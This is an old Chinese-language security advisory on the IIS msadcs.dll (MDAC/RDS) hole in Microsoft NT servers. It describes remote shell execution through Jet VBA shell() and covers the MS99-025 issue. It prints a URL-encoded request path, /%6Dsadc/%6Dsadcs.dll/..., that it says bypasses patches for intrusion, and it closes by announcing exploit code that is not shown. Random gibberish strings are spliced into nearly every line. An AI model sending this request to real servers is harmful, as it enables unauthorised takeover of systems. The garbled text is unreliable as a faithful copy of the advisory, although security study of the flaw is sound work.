IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ii:>xuF& HyR!O> 涉及程序:
z-c}NdW Microsoft NT server
kVD(Q~< o'$jNciOW 描述:
2r6'O6v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
TET`b7G MBXBog7U 详细:
X~xd/M=9^ 如果你没有时间读详细内容的话,就删除:
,<Q~b%(3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
7K{Nb 有关的安全问题就没有了。
I=!rbF;Z 2>l,no39t+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Z'k|u4ZC ]@M5& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
PTS]7 关于利用ODBC远程漏洞的描述,请参看:
4Ua>Yw0 >g;kJe http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x{&w?ng @p|$/Z%R, 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
dCFlM&(i http://www.microsoft.com/security/bulletins/MS99-025faq.asp $v b,P( WW@d:R 这里不再论述。
_aPh(qprc w;e(Gb%9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
kHv[H]+v 1+7GUSIb /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Rl6\#C* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
